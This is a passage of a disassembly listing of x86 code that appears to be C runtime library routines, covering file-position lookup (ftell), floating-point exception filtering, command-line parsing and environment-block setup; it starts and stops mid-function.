ja short loc_42495C
mov eax, [ebp+var_51C]
mov cl, byte_492641[eax]
or cl, 20h
mov edx, [ebp+var_51C]
mov byte_492641[edx], cl
mov eax, [ebp+var_51C]
sub eax, 20h
mov ecx, [ebp+var_51C]
mov byte_492540[ecx], al
jmp short loc_424969
; ---------------------------------------------------------------------------
loc_42495C: ; CODE XREF: sub_424670+2AFj
; sub_424670+2B8j
mov edx, [ebp+var_51C]
mov byte_492540[edx], 0
loc_424969: ; CODE XREF: sub_424670+2A6j
; sub_424670+2EAj
jmp loc_4248B5
; ---------------------------------------------------------------------------
loc_42496E: ; CODE XREF: sub_424670:loc_4248A4j
; sub_424670+25Ej
mov esp, ebp
pop ebp
retn
sub_424670 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword_49253C, 0
jz short loc_424993
mov eax, dword_492524
jmp short loc_424995
; ---------------------------------------------------------------------------
loc_424993: ; CODE XREF: .text:0042498Aj
xor eax, eax
loc_424995: ; CODE XREF: .text:00424991j
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4249A0 proc near ; CODE XREF: sub_425180+Dp
; sub_425240+Fp ...
push ebp
mov ebp, esp
cmp dword_49378C, 0
jnz short loc_4249C0
push 0FFFFFFFDh
call sub_4241C0
add esp, 4
mov dword_49378C, 1
loc_4249C0: ; CODE XREF: sub_4249A0+Aj
pop ebp
retn
sub_4249A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4249D0 proc near ; CODE XREF: sub_41B4D0+41p
; sub_41B4D0+11Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
cmp dword_49253C, 0
jnz short loc_4249FC
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4191A0
add esp, 0Ch
jmp loc_424AF1
; ---------------------------------------------------------------------------
loc_4249FC: ; CODE XREF: sub_4249D0+11j
push 19h
call sub_41BC90
add esp, 4
loc_424A06: ; CODE XREF: sub_4249D0:loc_424ABEj
cmp [ebp+arg_8], 0
jz loc_424AC3
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, byte_492641[eax]
and ecx, 4
test ecx, ecx
jz short loc_424A95
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
cmp [ebp+arg_8], 0
jnz short loc_424A5A
mov ecx, [ebp+arg_0]
mov byte ptr [ecx-1], 0
jmp short loc_424AC3
; ---------------------------------------------------------------------------
loc_424A5A: ; CODE XREF: sub_4249D0+7Fj
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
test ecx, ecx
jnz short loc_424A93
mov ecx, [ebp+arg_0]
mov byte ptr [ecx-2], 0
jmp short loc_424AC3
; ---------------------------------------------------------------------------
loc_424A93: ; CODE XREF: sub_4249D0+B8j
jmp short loc_424ABE
; ---------------------------------------------------------------------------
loc_424A95: ; CODE XREF: sub_4249D0+5Dj
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
test eax, eax
jnz short loc_424ABE
jmp short loc_424AC3
; ---------------------------------------------------------------------------
loc_424ABE: ; CODE XREF: sub_4249D0:loc_424A93j
; sub_4249D0+EAj
jmp loc_424A06
; ---------------------------------------------------------------------------
loc_424AC3: ; CODE XREF: sub_4249D0+3Aj
; sub_4249D0+88j ...
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
test eax, eax
jz short loc_424AE4
mov edx, [ebp+arg_0]
mov byte ptr [edx], 0
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_424AC3
; ---------------------------------------------------------------------------
loc_424AE4: ; CODE XREF: sub_4249D0+101j
push 19h
call sub_41BD30
add esp, 4
mov eax, [ebp+var_4]
loc_424AF1: ; CODE XREF: sub_4249D0+27j
mov esp, ebp
pop ebp
retn
sub_4249D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B00 proc near ; CODE XREF: sub_41B840+10Ep
; sub_41E810+216p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_492520
jnb short loc_424B31
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_424B4C
loc_424B31: ; CODE XREF: sub_424B00+Dj
call sub_422F20
mov dword ptr [eax], 9
call sub_422F30
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_424B7E
; ---------------------------------------------------------------------------
loc_424B4C: ; CODE XREF: sub_424B00+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_4280C0
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_424B90
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_428150
add esp, 4
mov eax, [ebp+var_4]
loc_424B7E: ; CODE XREF: sub_424B00+4Aj
mov esp, ebp
pop ebp
retn
sub_424B00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B90 proc near ; CODE XREF: sub_421F20+40Dp
; sub_422400+50p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push eax
call sub_427F40
add esp, 4
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_424BBE
call sub_422F20
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_424C3E
; ---------------------------------------------------------------------------
loc_424BBE: ; CODE XREF: sub_424B90+19j
mov ecx, [ebp+arg_8]
push ecx
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_C]
push eax
call ds:dword_494318
mov [ebp+var_8], eax
cmp [ebp+var_8], 0FFFFFFFFh
jnz short loc_424BE6
call ds:dword_4942F0
mov [ebp+var_4], eax
jmp short loc_424BED
; ---------------------------------------------------------------------------
loc_424BE6: ; CODE XREF: sub_424B90+49j
mov [ebp+var_4], 0
loc_424BED: ; CODE XREF: sub_424B90+54j
cmp [ebp+var_4], 0
jz short loc_424C04
mov ecx, [ebp+var_4]
push ecx
call sub_422E80
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_424C3E
; ---------------------------------------------------------------------------
loc_424C04: ; CODE XREF: sub_424B90+61j
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_492420[edx*4]
mov dl, [ecx+eax+4]
and dl, 0FDh
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov eax, dword_492420[eax*4]
mov [eax+ecx+4], dl
mov eax, [ebp+var_8]
loc_424C3E: ; CODE XREF: sub_424B90+29j
; sub_424B90+72j
mov esp, ebp
pop ebp
retn
sub_424B90 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_424C57: ; CODE XREF: .text:00424C7Fj
cmp dword ptr [ebp+8], 0
jnz short loc_424C7B
push offset aStreamNull ; "stream != NULL"
push 0
push 32h
push offset aFtell_c ; "ftell.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_424C7B
int 3 ; Trap to Debugger
loc_424C7B: ; CODE XREF: .text:00424C5Bj
; .text:00424C78j
xor eax, eax
test eax, eax
jnz short loc_424C57
mov ecx, [ebp+8]
push ecx
call sub_421230
add esp, 4
mov edx, [ebp+8]
push edx
call sub_424CC0
add esp, 4
mov [ebp-4], eax
mov eax, [ebp+8]
push eax
call sub_4212A0
add esp, 4
mov eax, [ebp-4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424CC0 proc near ; CODE XREF: sub_41B840+87p
; .text:00424C91p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
loc_424CC9: ; CODE XREF: sub_424CC0+31j
cmp [ebp+arg_0], 0
jnz short loc_424CED
push offset aStrNull ; "str != NULL"
push 0
push 63h
push offset aFtell_c ; "ftell.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_424CED
int 3 ; Trap to Debugger
loc_424CED: ; CODE XREF: sub_424CC0+Dj
; sub_424CC0+2Aj
xor eax, eax
test eax, eax
jnz short loc_424CC9
mov ecx, [ebp+arg_0]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
mov eax, [edx+10h]
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
cmp dword ptr [ecx+4], 0
jge short loc_424D15
mov edx, [ebp+var_C]
mov dword ptr [edx+4], 0
loc_424D15: ; CODE XREF: sub_424CC0+49j
push 1
push 0
mov eax, [ebp+var_8]
push eax
call sub_424B00
add esp, 0Ch
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jge short loc_424D36
or eax, 0FFFFFFFFh
jmp loc_424F53
; ---------------------------------------------------------------------------
loc_424D36: ; CODE XREF: sub_424CC0+6Cj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 108h
test edx, edx
jnz short loc_424D56
mov eax, [ebp+var_C]
mov ecx, [ebp+var_1C]
sub ecx, [eax+4]
mov eax, ecx
jmp loc_424F53
; ---------------------------------------------------------------------------
loc_424D56: ; CODE XREF: sub_424CC0+84j
mov edx, [ebp+var_C]
mov eax, [ebp+var_C]
mov ecx, [edx]
sub ecx, [eax+8]
mov [ebp+var_18], ecx
mov edx, [ebp+var_C]
mov eax, [edx+0Ch]
and eax, 3
test eax, eax
jz short loc_424DCC
mov ecx, [ebp+var_8]
sar ecx, 5
mov edx, [ebp+var_8]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 80h
test ecx, ecx
jz short loc_424DCA
mov edx, [ebp+var_C]
mov eax, [edx+8]
mov [ebp+var_4], eax
jmp short loc_424DAA
; ---------------------------------------------------------------------------
loc_424DA1: ; CODE XREF: sub_424CC0:loc_424DC8j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_424DAA: ; CODE XREF: sub_424CC0+DFj
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
cmp eax, [edx]
jnb short loc_424DCA
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Ah
jnz short loc_424DC8
mov eax, [ebp+var_18]
add eax, 1
mov [ebp+var_18], eax
loc_424DC8: ; CODE XREF: sub_424CC0+FDj
jmp short loc_424DA1
; ---------------------------------------------------------------------------
loc_424DCA: ; CODE XREF: sub_424CC0+D4j
; sub_424CC0+F2j
jmp short loc_424DEF
; ---------------------------------------------------------------------------
loc_424DCC: ; CODE XREF: sub_424CC0+AFj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jnz short loc_424DEF
call sub_422F20
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_424F53
; ---------------------------------------------------------------------------
loc_424DEF: ; CODE XREF: sub_424CC0:loc_424DCAj
; sub_424CC0+11Aj
cmp [ebp+var_1C], 0
jnz short loc_424DFD
mov eax, [ebp+var_18]
jmp loc_424F53
; ---------------------------------------------------------------------------
loc_424DFD: ; CODE XREF: sub_424CC0+133j
mov eax, [ebp+var_C]
mov ecx, [eax+0Ch]
and ecx, 1
test ecx, ecx
jz loc_424F4D
mov edx, [ebp+var_C]
cmp dword ptr [edx+4], 0
jnz short loc_424E23
mov [ebp+var_18], 0
jmp loc_424F4D
; ---------------------------------------------------------------------------
loc_424E23: ; CODE XREF: sub_424CC0+155j
mov eax, [ebp+var_C]
mov ecx, [ebp+var_C]
mov edx, [eax]
sub edx, [ecx+8]
mov eax, [ebp+var_C]
mov ecx, [eax+4]
add ecx, edx
mov [ebp+var_10], ecx
mov edx, [ebp+var_8]
sar edx, 5
mov eax, [ebp+var_8]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_492420[edx*4]
movsx edx, byte ptr [ecx+eax+4]
and edx, 80h
test edx, edx
jz loc_424F44
push 2
push 0
mov eax, [ebp+var_8]
push eax
call sub_424B00
add esp, 0Ch
cmp eax, [ebp+var_1C]
jnz short loc_424ED0
mov ecx, [ebp+var_C]
mov edx, [ecx+8]
add edx, [ebp+var_10]
mov [ebp+var_14], edx
mov eax, [ebp+var_C]
mov ecx, [eax+8]
mov [ebp+var_4], ecx
jmp short loc_424E97
; ---------------------------------------------------------------------------
loc_424E8E: ; CODE XREF: sub_424CC0:loc_424EB3j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_424E97: ; CODE XREF: sub_424CC0+1CCj
mov eax, [ebp+var_4]
cmp eax, [ebp+var_14]
jnb short loc_424EB5
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Ah
jnz short loc_424EB3
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_424EB3: ; CODE XREF: sub_424CC0+1E8j
jmp short loc_424E8E
; ---------------------------------------------------------------------------
loc_424EB5: ; CODE XREF: sub_424CC0+1DDj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 2000h
test edx, edx
jz short loc_424ECE
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_424ECE: ; CODE XREF: sub_424CC0+203j
jmp short loc_424F44
; ---------------------------------------------------------------------------
loc_424ED0: ; CODE XREF: sub_424CC0+1B5j
push 0
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_8]
push edx
call sub_424B00
add esp, 0Ch
cmp [ebp+var_10], 200h
ja short loc_424F10
mov eax, [ebp+var_C]
mov ecx, [eax+0Ch]
and ecx, 8
test ecx, ecx
jz short loc_424F10
mov edx, [ebp+var_C]
mov eax, [edx+0Ch]
and eax, 400h
test eax, eax
jnz short loc_424F10
mov [ebp+var_10], 200h
jmp short loc_424F19
; ---------------------------------------------------------------------------
loc_424F10: ; CODE XREF: sub_424CC0+229j
; sub_424CC0+236j ...
mov ecx, [ebp+var_C]
mov edx, [ecx+18h]
mov [ebp+var_10], edx
loc_424F19: ; CODE XREF: sub_424CC0+24Ej
mov eax, [ebp+var_8]
sar eax, 5
mov ecx, [ebp+var_8]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 4
test eax, eax
jz short loc_424F44
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_424F44: ; CODE XREF: sub_424CC0+19Cj
; sub_424CC0:loc_424ECEj ...
mov edx, [ebp+var_1C]
sub edx, [ebp+var_10]
mov [ebp+var_1C], edx
loc_424F4D: ; CODE XREF: sub_424CC0+148j
; sub_424CC0+15Ej
mov eax, [ebp+var_1C]
add eax, [ebp+var_18]
loc_424F53: ; CODE XREF: sub_424CC0+71j
; sub_424CC0+91j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_424CC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424F60 proc near ; CODE XREF: sub_41B970+144p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
call sub_41FA10
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
mov ecx, [eax+50h]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_425120
add esp, 8
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_424F93
mov eax, [ebp+var_10]
cmp dword ptr [eax+8], 0
jnz short loc_424FA2
loc_424F93: ; CODE XREF: sub_424F60+28j
mov ecx, [ebp+arg_4]
push ecx
call ds:dword_494488
jmp loc_42511A
; ---------------------------------------------------------------------------
loc_424FA2: ; CODE XREF: sub_424F60+31j
mov edx, [ebp+var_10]
cmp dword ptr [edx+8], 5
jnz short loc_424FBF
mov eax, [ebp+var_10]
mov dword ptr [eax+8], 0
mov eax, 1
jmp loc_42511A
; ---------------------------------------------------------------------------
loc_424FBF: ; CODE XREF: sub_424F60+49j
mov ecx, [ebp+var_10]
cmp dword ptr [ecx+8], 1
jnz short loc_424FD0
or eax, 0FFFFFFFFh
jmp loc_42511A
; ---------------------------------------------------------------------------
loc_424FD0: ; CODE XREF: sub_424F60+66j
mov edx, [ebp+var_10]
mov eax, [edx+8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+54h]
mov [ebp+var_18], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_4]
mov [eax+54h], ecx
mov edx, [ebp+var_10]
cmp dword ptr [edx+4], 8
jnz loc_4250F7
mov eax, dword_443648
mov [ebp+var_14], eax
jmp short loc_42500B
; ---------------------------------------------------------------------------
loc_425002: ; CODE XREF: sub_424F60+D0j
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
loc_42500B: ; CODE XREF: sub_424F60+A0j
mov edx, dword_443648
add edx, dword_44364C
cmp [ebp+var_14], edx
jge short loc_425032
mov eax, [ebp+var_14]
imul eax, 0Ch
mov ecx, [ebp+var_8]
mov edx, [ecx+50h]
mov dword ptr [edx+eax+8], 0
jmp short loc_425002
; ---------------------------------------------------------------------------
loc_425032: ; CODE XREF: sub_424F60+BAj
mov eax, [ebp+var_8]
mov ecx, [eax+58h]
mov [ebp+var_C], ecx
mov edx, [ebp+var_10]
cmp dword ptr [edx], 0C000008Eh
jnz short loc_425055
mov eax, [ebp+var_8]
mov dword ptr [eax+58h], 83h
jmp loc_4250DD
; ---------------------------------------------------------------------------
loc_425055: ; CODE XREF: sub_424F60+E4j
mov ecx, [ebp+var_10]
cmp dword ptr [ecx], 0C0000090h
jnz short loc_42506C
mov edx, [ebp+var_8]
mov dword ptr [edx+58h], 81h
jmp short loc_4250DD
; ---------------------------------------------------------------------------
loc_42506C: ; CODE XREF: sub_424F60+FEj
mov eax, [ebp+var_10]
cmp dword ptr [eax], 0C0000091h
jnz short loc_425083
mov ecx, [ebp+var_8]
mov dword ptr [ecx+58h], 84h
jmp short loc_4250DD
; ---------------------------------------------------------------------------
loc_425083: ; CODE XREF: sub_424F60+115j
mov edx, [ebp+var_10]
cmp dword ptr [edx], 0C0000093h
jnz short loc_42509A
mov eax, [ebp+var_8]
mov dword ptr [eax+58h], 85h
jmp short loc_4250DD
; ---------------------------------------------------------------------------
loc_42509A: ; CODE XREF: sub_424F60+12Cj
mov ecx, [ebp+var_10]
cmp dword ptr [ecx], 0C000008Dh
jnz short loc_4250B1
mov edx, [ebp+var_8]
mov dword ptr [edx+58h], 82h
jmp short loc_4250DD
; ---------------------------------------------------------------------------
loc_4250B1: ; CODE XREF: sub_424F60+143j
mov eax, [ebp+var_10]
cmp dword ptr [eax], 0C000008Fh
jnz short loc_4250C8
mov ecx, [ebp+var_8]
mov dword ptr [ecx+58h], 86h
jmp short loc_4250DD
; ---------------------------------------------------------------------------
loc_4250C8: ; CODE XREF: sub_424F60+15Aj
mov edx, [ebp+var_10]
cmp dword ptr [edx], 0C0000092h
jnz short loc_4250DD
mov eax, [ebp+var_8]
mov dword ptr [eax+58h], 8Ah
loc_4250DD: ; CODE XREF: sub_424F60+F0j
; sub_424F60+10Aj ...
mov ecx, [ebp+var_8]
mov edx, [ecx+58h]
push edx
push 8
call [ebp+var_4]
add esp, 8
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov [eax+58h], ecx
jmp short loc_42510E
; ---------------------------------------------------------------------------
loc_4250F7: ; CODE XREF: sub_424F60+92j
mov edx, [ebp+var_10]
mov dword ptr [edx+8], 0
mov eax, [ebp+var_10]
mov ecx, [eax+4]
push ecx
call [ebp+var_4]
add esp, 4
loc_42510E: ; CODE XREF: sub_424F60+195j
mov edx, [ebp+var_8]
mov eax, [ebp+var_18]
mov [edx+54h], eax
or eax, 0FFFFFFFFh
loc_42511A: ; CODE XREF: sub_424F60+3Dj
; sub_424F60+5Aj ...
mov esp, ebp
pop ebp
retn
sub_424F60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425120 proc near ; CODE XREF: sub_424F60+19p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_42512A: ; CODE XREF: sub_425120+30j
mov ecx, [ebp+var_4]
mov edx, [ecx]
cmp edx, [ebp+arg_0]
jz short loc_425152
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ecx, dword_443654
imul ecx, 0Ch
mov edx, [ebp+arg_4]
add edx, ecx
cmp [ebp+var_4], edx
jnb short loc_425152
jmp short loc_42512A
; ---------------------------------------------------------------------------
loc_425152: ; CODE XREF: sub_425120+12j
; sub_425120+2Ej
mov eax, dword_443654
imul eax, 0Ch
mov ecx, [ebp+arg_4]
add ecx, eax
cmp [ebp+var_4], ecx
jnb short loc_42516E
mov edx, [ebp+var_4]
mov eax, [edx]
cmp eax, [ebp+arg_0]
jz short loc_425172
loc_42516E: ; CODE XREF: sub_425120+42j
xor eax, eax
jmp short loc_425175
; ---------------------------------------------------------------------------
loc_425172: ; CODE XREF: sub_425120+4Cj
mov eax, [ebp+var_4]
loc_425175: ; CODE XREF: sub_425120+50j
mov esp, ebp
pop ebp
retn
sub_425120 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425180 proc near ; CODE XREF: sub_41B970+E8p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp dword_49378C, 0
jnz short loc_425192
call sub_4249A0
loc_425192: ; CODE XREF: sub_425180+Bj
mov eax, dword_493784
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 22h
jnz short loc_4251FC
loc_4251A6: ; CODE XREF: sub_425180:loc_4251E3j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 22h
jz short loc_4251E5
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_4251E5
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
push eax
call sub_42C4A0
add esp, 4
test eax, eax
jz short loc_4251E3
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_4251E3: ; CODE XREF: sub_425180+58j
jmp short loc_4251A6
; ---------------------------------------------------------------------------
loc_4251E5: ; CODE XREF: sub_425180+39j
; sub_425180+44j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
cmp eax, 22h
jnz short loc_4251FA
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_4251FA: ; CODE XREF: sub_425180+6Fj
jmp short loc_425213
; ---------------------------------------------------------------------------
loc_4251FC: ; CODE XREF: sub_425180+24j
; sub_425180+91j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
cmp eax, 20h
jle short loc_425213
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_4251FC
; ---------------------------------------------------------------------------
loc_425213: ; CODE XREF: sub_425180:loc_4251FAj
; sub_425180+86j ...
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_425235
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 20h
jg short loc_425235
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_425213
; ---------------------------------------------------------------------------
loc_425235: ; CODE XREF: sub_425180+9Cj
; sub_425180+A8j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_425180 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425240 proc near ; CODE XREF: sub_41B970+CDp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
loc_425246: ; DATA XREF: .data:00443894o
cmp dword_49378C, 0
jnz short loc_425254
call sub_4249A0
loc_425254: ; CODE XREF: sub_425240+Dj
mov [ebp+var_8], 0
mov eax, dword_4920D8
mov [ebp+var_4], eax
loc_425263: ; CODE XREF: sub_425240+57j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_425299
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 3Dh
jz short loc_425281
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
loc_425281: ; CODE XREF: sub_425240+36j
mov eax, [ebp+var_4]
push eax
call sub_418E70
add esp, 4
mov ecx, [ebp+var_4]
lea edx, [ecx+eax+1]
mov [ebp+var_4], edx
jmp short loc_425263
; ---------------------------------------------------------------------------
loc_425299: ; CODE XREF: sub_425240+2Bj
push 6Dh
push offset aStdenvp_c ; "stdenvp.c"
push 2
mov eax, [ebp+var_8]
lea ecx, ds:4[eax*4]
push ecx
call sub_416A30
add esp, 10h
mov [ebp+var_C], eax
mov edx, [ebp+var_C]
mov dword_4920B0, edx
cmp dword_4920B0, 0
jnz short loc_4252D4
push 9
call sub_41BAE0
add esp, 4
loc_4252D4: ; CODE XREF: sub_425240+88j
mov eax, dword_4920D8
mov [ebp+var_4], eax
jmp short loc_4252E7
; ---------------------------------------------------------------------------
loc_4252DE: ; CODE XREF: sub_425240:loc_425355j
mov ecx, [ebp+var_4]
add ecx, [ebp+var_10]
mov [ebp+var_4], ecx
loc_4252E7: ; CODE XREF: sub_425240+9Cj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_425357
mov ecx, [ebp+var_4]
push ecx
call sub_418E70
add esp, 4
add eax, 1
mov [ebp+var_10], eax
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 3Dh
jz short loc_425355
push 79h
push offset aStdenvp_c ; "stdenvp.c"
push 2
mov ecx, [ebp+var_10]
push ecx
call sub_416A30
add esp, 10h
mov edx, [ebp+var_C]
mov [edx], eax
mov eax, [ebp+var_C]
cmp dword ptr [eax], 0
jnz short loc_42533A
push 9
call sub_41BAE0
add esp, 4
loc_42533A: ; CODE XREF: sub_425240+EEj
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_C]
mov eax, [edx]
push eax
call sub_419FA0
add esp, 8
mov ecx, [ebp+var_C]
add ecx, 4
mov [ebp+var_C], ecx
loc_425355: ; CODE XREF: sub_425240+CCj
jmp short loc_4252DE
; ---------------------------------------------------------------------------
loc_425357: ; CODE XREF: sub_425240+AFj
push 2
mov edx, dword_4920D8
push edx
call sub_4174C0
add esp, 8
mov dword_4920D8, 0
mov eax, [ebp+var_C]
mov dword ptr [eax], 0
mov dword_493788, 1
mov esp, ebp
pop ebp
retn
sub_425240 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425390 proc near ; CODE XREF: sub_41B970+C8p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
cmp dword_49378C, 0
jnz short loc_4253A4
call sub_4249A0
loc_4253A4: ; CODE XREF: sub_425390+Dj
push 104h
